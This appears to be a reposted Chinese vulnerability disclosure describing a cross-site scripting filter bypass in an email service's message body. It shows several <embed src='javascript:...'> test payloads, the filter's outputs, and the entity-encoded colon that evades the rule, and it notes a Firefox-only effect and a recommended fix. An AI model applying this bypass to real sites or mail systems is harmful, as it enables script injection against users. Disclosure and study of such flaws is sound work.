来源：自学PHP网 时间：2015-04-16 23:15 作者： 阅读:次
[导读] 邮件正文的跨站脚本过滤规则不完善导致被绕过。测试1:embed src=javascript：alert(3)结果1：embed invokeurls=false allownetworking=none allowscriptaccess=never type=application x-shock...
|
邮件正文的跨站脚本过滤规则不完善导致被绕过。
测试1:
<embed src="javascript：alert(3)">
结果1：
<embed invokeurls="false" allownetworking="none" allowscriptaccess="never" type="application/x-shockwave-flash">
尽量将测试内容最小化，找出问题根源。测试2：
<embed src="javascript">
结果2:
<embed src="javascript" invokeurls="false" allownetworking="none" allowscriptaccess="never" type="application/x-shockwave-flash"></div>
确定伪协议后面的":"触发了过滤规则。实体编码之。测试3:
<embed src="javascript:alert(2)">
结果3:
<embed src="javascript：alert(2)" invokeurls="false" allownetworking="none" allowscriptaccess="never" type="application/x-shockwave-flash">
PS：该XSS Vector仅在Firefox下有效
测试与FF29.0.1
 修复方案：
完善过滤规则
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
